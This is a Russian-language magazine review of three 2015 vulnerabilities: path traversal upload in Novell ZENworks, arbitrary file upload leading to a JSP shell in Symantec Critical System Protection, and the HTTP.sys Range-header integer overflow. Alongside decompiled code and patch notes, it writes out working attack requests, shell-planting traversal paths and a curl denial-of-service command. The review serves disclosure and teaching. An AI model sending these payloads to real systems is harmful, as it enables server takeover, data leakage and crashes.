Сегодня мы с тобой разберем уязвимости в приложениях на Java известных производителей. Одна из софтин помогает защищать свои системы от атак, но при этом сама стала местом для проникновения в сеть компании. И конечно, мы не могли обойти стороной уязвимость в HTTP.sys.

 

Произвольная загрузка файлов в Novell ZENworks

CVSSv2

N/A

BRIEF

Дата релиза: 8 мая 2015 года
Автор: Pedro Ribeiro
CVE: 2015-0779

Начнем с уязвимости в Novell ZENworks Configuration Management (ZCM, часть ZENworks Suite). Уязвим UploadServlet — через него доступна неавторизованная загрузка файлов без проверки параметра uid на символы перехода по директориям (../). Это позволяет атакующему сохранить файл в любое место на сервере или разместить WAR-файл в директории Tomcat для веб-приложений. WAR — это Web Archive или Web Application Archive, формат файла, описывающий, как полное веб-приложение пакуется в соответствии со спецификацией Java-сервлетов в файл в формате JAR или ZIP. Примерное содержимое простого WAR:

/index.html
/guestbook.jsp
/images/logo.png
/WEB-INF/web.xml
/WEB-INF/classes/org/wikipedia/Util.class
/WEB-INF/classes/org/wikipedia/MainServlet.class
/WEB-INF/lib/util.jar
/META-INF/MANIFEST.MF

EXPLOIT

Эксплуатация проста: отправляем полезную нагрузку в виде WAR-файла, используя такой запрос:

POST /zenworks/UploadServlet?uid=../../../opt/novell/zenworks/share/tomcat/webapps/&filename=payload.war

Одновременно с релизом уязвимости автор опубликовал и модуль для Metasploit.

msf exploit(zenworks_configuration_management_upload) > rexploit

Это уже не первая подобная уязвимость в ZCM. Ранее схожая ошибка, ZDI-10-078/OSVDB-63412, нашлась в другом сервлете.

TARGETS

ZENworks Configuration Management <= 11.3.1.

SOLUTION

Есть исправление от производителя. Однако пробная версия на момент написания статьи до сих пор уязвима, и автор уязвимости не упомянут в патче.

 

Удаленное выполнение кода в Symantec Critical System Protection

CVSSv2

9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

BRIEF

Дата релиза: 5 мая 2015 года
Автор: Balint Varga-Perke
CVE: 2014-3440

Symantec Critical System Protection предназначен для обнаружения угроз и предотвращения вторжений как на серверы, так и на обычные компьютеры компании, включая не только физические, но и виртуальные системы. В числе прочего в это ПО входит система управления различными серверными компонентами и компоненты-агенты, которые служат для поддержания политик безопасности.

В одном из таких агентов, sis-agent (агент управления интерфейсом сервера SCSP), и была найдена уязвимость. Она позволяет неавторизованному атакующему удаленно выполнить произвольный код. Этот интерфейс используется агентами IDS/IPS для взаимодействия с сервером SCSP: регистрации, оповещения об обновлениях политик, событиях и так далее. Поскольку все защищаемые хосты должны взаимодействовать с SCSP, то этот интерфейс будет доступен большому количеству машин.

Проблема заключается в том, что SCSP недостаточно корректно проверяет основную массу полученных логов. Благодаря этому агенты и атакующие, представившиеся агентом, могут загрузить произвольный файл на компьютер пользователя. Поместив файл JSP в одну из нескольких корневых директорий веб-приложения на базе Tomcat из Server package, можно открыть интерактивную командную оболочку.

Уязвимый код находится в классе BulklogHandler приложения sis-agent. Этот агент использует свой собственный HTTP(S)-wrapped протокол, который похож на стандартный многослойный POST-запрос. В этом протоколе тело HTTP-запроса разбивается на несколько частей. Каждая часть начинается с простого заголовка, в котором описывается тип (текст, XML, бинарный) и ее размер (в байтах и без заголовка). Помимо этого, она содержит свойства приложения (Properties). В случае типа «обычный текст», свойство — это пара ключ — значение. Тело каждого запроса (или ответа) заканчивается строкой, содержащей EOF_FLAG. Каждая строка запроса заканчивается ASCII-символом 0x0A. Ниже представлен пример тела запроса.

```
Data-Format=text/plain
Data-Type=properties
Data-Length=410

agent.name=TEST12345678
agent.hostname=TEST12345678
agent.version=5.2.9.37
agent.initial.group=
agent.config.initial.group=
config.initial.group=
ids.policy.initial.group=Windows
ids.config.initial.group=
agent.ostype=windows
agent.osversion=7 Service Pack 1
agent.osdescription=
agent.charset=UTF-8
agent.features=PD
agent.domain.name=
polling.interval=300
tcp.enabled=true
tcp.port=2222
agent.timezone=+120

EOF_FLAG
```

Интерфейс агента зависит от технологии Java Servlet. Пользовательские запросы направляются через несколько классов, которые обрабатывают входящие параметры. Основной алгоритм взаимодействия агента как раз и реализован в нескольких классах-обработчиках. В случае с классом BulklogHandler пользовательский запрос вначале обрабатывается с помощью метода handleRequest(), который, в свою очередь, вызывает метод logFile() для каждого «свойства» части запроса.

...
// JAD decompiled code snippet
private void logFile(Properties prop, byte data[], boolean repeat) throws Exception{
    String filename;
    File file;
    FileOutputStream fout;
    filename = prop.getProperty("file.name");
    file = getBulkLogFile(filename);
    fout = null;
    fout = new FileOutputStream(file);
    fout.write(data);
    fout.flush();
...

Первый параметр в методе содержит полученные параметры из запроса. Второй — соответствующую двоичную часть. Далее вызывается метод getBulLogFile() для получения соответствующего объекта дескриптора файла.

...
// JAD decompiled code snippet
private File getBulkLogFile(String filename)
{
    File file;
    String agentName = null;
    int index = filename.indexOf('.', 24);
    if(index > 0)
        agentName = filename.substring(24, index);
    else
        agentName = filename.substring(24);
    String date = mFormat.format(mParser.parse(filename.substring(0, 8)));
    String parentFolder = (new StringBuilder()).append(SisProperties.getBulkLogDir()).append(FILE_SEP).append(agentName).append(FILE_SEP).append(date).toString();
    File parent = new File(parentFolder);
    if(!parent.isDirectory())
        parent.delete();
    parent.mkdirs();
    file = new File(parentFolder, filename);
    return file;
    Throwable th;
    th;
    throw new IllegalArgumentException((new StringBuilder()).append("Corrupted bulk log filename [").append(filename).append("]!!").toString(), th);
}
...

Этот метод вначале пробует определить имя агента, получив подстроку от 24-го символа до первой точки. Он обрабатывает первые восемь символов из переданного filename как дату. Далее загруженный файл будет помещен в свою собственную директорию (родительскую), ее структура будет выглядеть примерно так:

LOG_ROOT/AGENT_NAME/FORMATTED_DATE

Эта структура создана с помощью вызова parent.mkdirs(). Окончательный вариант дескриптора файла создается из объединения оригинального имени файла и пути к родительской директории.

EXPLOIT

Произвольный файл в системе может быть получен следующим образом.

  • Зарегистрировать агент, используя интерфейс /register, и получить GUID, который будем использовать как идентификатор сессий для следующих этапов.
  • Инициировать загрузку файла с именем агента в виде YYYY-MM-DD/YYYYMMDD, где YYYYMMDD и YYYY-MM-DD — действительные даты. Загрузка файла будет завершена с ошибкой, но соответствующая структура директории создастся. Этот путь понадобится нам для следующего этапа.
  • Инициировать другую загрузку с именем файла для записи произвольного файла в директорию servlet контейнера следующего формата: YYYYMMDD/../../../././././PATH_FROM_TOMCAT. Ну и наиболее очевидный способ использования такой возможности — это загрузить JSP-шелл.

Исходный код эксплойта (в частности, пример запроса регистрации агента) ты можешь скачать из статьи автора. А мы разберем лишь некоторые части. Пример пути запроса, создающего структуру для будущей загрузки шелла:

...19991111est3X1999-11-11/19991111/.4test5test6.jsp
Созданные директории для будущей загрузки JSP-шелла
Созданные директории для будущей загрузки JSP-шелла

Загрузка шелла:

...19991111/../../../././././tomcat/symapps/agent/sis-agent/jspshellS2.jsp
Созданный JSP-шелл в системе
Созданный JSP-шелл в системе

Сам запрос должен состоять из следующих элементов. Заголовок:

req1="""POST /sis-agent/"""+action+""" HTTP/1.1
Host: """+host+"""
Accept: */*
Appfire-Format-Version: 1.0
Content-Type: application/x-appfire
AppFire-Charset: UTF-8
AppFire-GUID: """+guid+"""
Content-Length: """+str(len(body))+"""
  • action — здесь у нас должна быть строка bulk-log;
  • guid — полученный GUID агента после регистрации;
  • str(len(body)) — размер запроса.

Свойства (Properties):

headers="Data-Format=text/plain\x0aData-Type=properties\x0aData-Length=%d\x0a\x0a" % (len(properties))

В качестве значения следующая строка:

"file.name":имя_нашего_файла

Бинарная часть:

headers="Data-Format=binary/zip\x0aData-Type=policy\x0aData-Length=%d\x0a\x0a" % (len(bin))

JSP-шелл ты можешь взять из известного фреймворка Metasploit. Только не забудь, что имя статически прописано в скрипт jspshell.jsp. В противном случае замени его имя сам в файле update.py.

Кроме основной уязвимости, автор обнаружил небольшую странность, которую не посчитали уязвимостью. Если вкратце, то интерфейс управления SCSP позволяет подключаться к различным серверам, а список серверов может быть изменен без аутентификации. Такая странность позволяет атакующему заменить адрес настоящего сервера на свой собственный и ждать авторизации администратора.

Автор эксплойта записал и два небольших видео с демонстрацией описанных выше уязвимостей, ссылки на которые он опубликовал на своем сайте.

TARGETS

Symantec Critical System Protection Server <= 5.2.9.

SOLUTION

Есть исправление от производителя.

 

Ошибка в обработке HTTP-запроса в Windows (HTTP.sys)

CVSSv2

10.0 (Av:R/Ac:L/A:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 15 апреля 2015 года
Автор: Citrix, Mike Czumak, Jack Tang
CVE: 2015-1635

Закончим обзор нашумевшей уязвимостью в http.sys из нашей горячо любимой Windows. В комментариях к публикации о ней на Хабрахабре было одно слово, означающее предмет для просеивания муки. После апрельского патча (в частности, MS15-034) обнаружили следующее: в http.sys есть целочисленное переполнение, которое может привести к удаленному выполнению кода в системе. В результате мы имеем эксплойты, которые позволяют с легкостью вызвать DoS сервера или в некоторых случаях утечку информации. Что, возможно, ставит эту уязвимость на один уровень с уже описанной нами ранее Heartbleed. В основном это, конечно, касается серверных редакций Windows, но некоторые последние версии пользовательской винды тоже могут открывать HTTP-порты, что делает их уязвимыми.

Архитектура IIS
Архитектура IIS

В качестве тестовой среды автор использует Windows 8.1 x86 и IIS (Internet Information Service) 8.5. После установки IIS (примерная архитектура представлена на одном из скриншотов) в систему у нас появляется соответствующий сервис с именем World Wide Web Publishing Service (для удобства сократим до WWW). Когда клиент отправляет запрос HTTP к нашей системе, запускается WWW или выбирается рабочий процесс (w3wp.exe). Тот использует http.sys для различных задач, связанных с обработкой протокола HTTP, и, помимо обычного парсинга запроса, включает в себя и функцию создания ответа, а также кеширование содержимого. В свою очередь, http.sys получает HTTP-запросы и отправляет HTTP-ответы с помощью tcpip.sys.

Как же мы можем совершить DoS-атаку на нужный нам сервер?

После установки указанного выше ПО у нас появится стартовая страница iisstart.htm (размер файла 694 байта). Наш запрос будет следующим:

GET /iisstart.htm HTTP/1.1\r\nHost: aaaaa\r\nRange: bytes=284-18446744073709551615 \r\n\r\n

Диапазон полезной нагрузки запроса начинается с 284 и заканчивается 18 446 744 073 709 551 615 байтами. Последняя цифра в шестнадцатеричном виде представляет собой число 0xFFFFFFFFFFFFFFFF, то есть текущий диапазон огромный и превышает размер файла в разы.

После того как такой запрос будет отправлен на сервер, один из инстансов w3wp.exe обработает его. Tcpip.sys же перенаправляет любое содержимое HTTP-запроса на http.sys. Далее если в HTTP-запросе присутствует range, то будет вызвана функция UlpParseRange(). Она обрабатывает запрос, чтобы получить первую и последнюю позицию и вычислить Range Length. На скриншоте представлен соответствующий код.

Код для вычисления `Range Length`
Код для вычисления `Range Length`

Из него ты можешь понять, что уже здесь происходит целочисленное переполнение. Когда последняя позиция равна 0xFFFFFFFFFFFFFFFF, а первая — 0, то переполнение случается и размер станет равен нулю. Код не содержит нужной проверки и поэтому не обработает ошибку.

В нашем случае переполнение не случается, так как Range Length станет равна –284 или 0xFFFFFFFFFFFFFEE4. Если это значение будет обработано как целое число без знака, то оно все равно окажется большим.

После окончания обработки HTTP-запроса будет вызвана функция UlAdjustRangesToContentSize(). Она исправляет первую позицию и длину Range, если они «неправильные». Правильность определяется с помощью нескольких сценариев, которые высчитывают, не вышел ли Range за пределы запрашиваемой страницы. Ниже представлен небольшой пример.

   Первая позиция — 0xFFFFFFFFFFFFFFFF
Длина — 0xFFFFFFFFFFFFFFFF
Первая позиция >= размер запрашиваемой страницы
Последняя позиция >= размер запрашиваемой страницы

Второе целочисленное переполнение обнаруживается в последней функции. Она служит для получения последней позиции Range (см. скриншот).

Код для получения последней позиции Range
Код для получения последней позиции Range

В этом случае начальная позиция равна 284, а длина — 0xFFFFFFFFFFFFFEE4, то есть получается переполнение. В итоге последняя позиция становится равна нулю и обходит условие для своего исправления.

Если в дальнейшем мы получим такой запрос многократно, то ответ будет закеширован. Отправка ответа из кеша, в свою очередь, вызовет функцию UxpTpDirectTransmit(), которая приведет к вычислению размера ответа. Упрощенный код приведен на скриншоте.

Упрощенный HTTP-код
Упрощенный HTTP-код

Разберем его, используя наши значения:

Range Count = 1;
Range Boundary and Range Info length = 0;
Range Tail Boundary Length = 0;
Range Length = 0xFFFFFEE4;
HTTP Head Length = 283;

В результате имеем размер ответа, равный 0xFFFFFFFF (4G). Система будет считать, что общий размер ответа такой же. Это означает, что полученный размер пакета с ответом будет в разы больше реального. Потому и было выбрано число 284 в качестве первой позиции.

HTTP Response Length = HTTP Head Length + (Range End Position – Range Start Position + 1)
= HTTP Head Length + (0xFFFFFFFF – Range Start Position + 1
= HTTP Head Length - Range Start Position

Если Range Start Position меньше размера заголовка HTTP или равна ему, это вызовет переполнение. Таким образом, HTTP Response Length лежит в диапазоне от нуля до HTTP Head Length.

Так как мы хотим вызвать DoS, то нам нужно, чтобы значение HTTP Content Length было как можно больше. То есть значение Range Start Position должно лежать в диапазоне от HTTP Head Length + 1 до размера запрашиваемой страницы. В этом случае оно не вызовет переполнения и HTTP Content Length будет огромным и позволит провести DoS-атаку.

После того как HTTP-пакет с ответом будет собран, http.sys перенаправит информацию о нем на стек протокола драйвера. Функция TcpSegmentTcbSend() из tcpip.sys переместит каждую часть содержимого пакета. И опять целочисленное переполнение (см. скриншот).

Упрощенный HTTP-код для `TcpSegmentTcbSend()`
Упрощенный HTTP-код для `TcpSegmentTcbSend()`

Переполнение находится на строке 15 упомянутого выше скриншота. В нашем случае значение HTTP Response Length равно 0xFFFFFFFF. Virtual address инициализирует переменную с адресом в ядре (>=0x80000000). Так как значение HTTP Response Length равно большому числу, то это зациклится на много раз. Через некоторое количество циклов virtual address будет содержать небольшое значение после переполнения. Во время цикла эта переменная будет использоваться для создания partial memory descriptor list (MDL). И так как диапазон не является подмножеством основного, это приведет к появлению долгожданного BSOD.

Для проведения атаки с целью получить информацию нужно будет сделать следующее.

GET /iisstart.htm HTTP/1.1\r\nHost: aaaaa\r\nRange: bytes=3-18446744073709551615, 1-600"+ "\r\n\r\n"
Скриншот 1. HTTP-заголовок
Скриншот 1. HTTP-заголовок

В этом случае мы используем несколько диапазонов (Range):

  • Range1: 3–18 446 744 073 709 551 615;
  • Range2: 1–600.

В функции UlpParseRange() новый код будет выглядеть так:

Range1 Length = 0xFFFFFFFFFFFFFFFF - 0x3 + 1 = 0xFFFFFFFFFFFFFFFD
Range2 Length = 600 -1 + 1 = 600

После обработки запроса HTTP будет вызвана функция UlAdjustRangesToContentSize(). Range1 вызовет переполнение (3 + 0xFFFFFFFFFFFFFFFD => 0) и пройдет проверку на исправление, даже если оно «неправильное». Range2, в свою очередь, и так нормален и не требует обработки.

Так как после некоторого количества запросов ответ кешируется, будет вызвана функция UxpTpDirectTransmit().

Range Count = 2
Range1 Length = 0xFFFFFFFFFFFFFFFD
Range2 Length = 600
Http Head Length= 0x127 // HTTP head content, Скриншот 1
Range1 Boundary and Range1 Info length = 0x7a
Range2 Boundary and Range2 Info length = 0x69
Range Tail Boundary Length = 0x32; // Скриншот 3

Поскольку используется несколько переменных Range, будет обязательный тег (boundary) и соответствующая информация (Content-Type, Content-Range) перед каждым содержимым Range (скриншот 2).

Скриншот 2. Тег и информация для Range
Скриншот 2. Тег и информация для Range

Из скриншота с упрощенным HTTP-кодом мы могли увидеть, что:
HTTP Response Length = HTTP Head Length + Range Boundary and Range Info length + Range1 Length + Range Boundary
Range Info length + Range2 Length = 0x127+7a+0xFFFFFFFD+0x69+0x258+0x32 => 0x491

Скриншот 3. Range Tail
Скриншот 3. Range Tail

На пятой строке происходит переполнение при добавлении 0xFFFFFFFD. При этом система берет 0x491 как размер HTTP-ответа. Состояние памяти на этот момент выглядит примерно как на скриншоте.

Состояние памяти
Состояние памяти

Далее наш собранный ответ перенаправляется в tcpip.sys и обрабатывается. Вспомним еще раз код с упрощенным HTTP-кодом. В нашем случае размер ответа равен 0x491. Когда часть ответа будет обработана, то размер станет равен 0xFFFFFFFD (строка 7). Часть значения Length будет изменена на Remain Length и равна 0x2f0 (0x491 – 0x172 – 0x7a). Диапазон буфера для прочтения и отправки клиенту будет таким: [0x3, 0x3 + 0x2f0]. Размер запрашиваемой страницы — 0x2b6. В результате мы получим следующее состояние буфера.

Состояние буфера
Состояние буфера

На скриншоте мы видим, что в красном блоке содержится утекшая информация. Пример атакующего запроса на получение более подробной информации:

GET /iisstart.htm HTTP/1.1\r\nHost: aaaaa\r\nRange: bytes=3- 18446744073709551615,1-32,32-64, 64-96,96-128,128-256, 129-130,130-140,160-170,180-190, 190-200" + "\r\n\r\n"
Утекшая информация с сервера
Утекшая информация с сервера

Такое большое количество диапазонов нам приходится использовать из-за возможности в результате снова получить BSOD, а не желанные пароли или что-либо еще. На другом скриншоте приведен пример получения содержимого скриптов сервера.

Пример получения содержимого скриптов PHP
Пример получения содержимого скриптов PHP

EXPLOIT

Пример атакующего запроса (его как раз можно использовать для проверки системы на уязвимость):

GET / HTTP/1.1
Host: site.com
Range: bytes=0-18446744073709551615

Для атаки ты можешь воспользоваться следующими готовыми реализациями:

Или вручную:

curl -v SERVER_IP -H "Host: anything" -H "Range: bytes=0-18446744073709551615"

Некоторые исследователи решили провести массовое сканирование, как в случае с уязвимостью в bash и других столь же серьезных. Надеюсь, интернет не сильно от этого пострадал :).

После обнародования деталей появились ITW-атаки с использованием этой уязвимости. Ниже представлен пример одной из них (спасибо ребятам из ESET):

GET /%7Bwelcome.png HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: [server-ip]
Connection: Keep-Alive
Range: bytes=18-18446744073709551615

TARGETS

Windows системы без патча MS15-034.

SOLUTION

Есть исправление от производителя.

Оставить мнение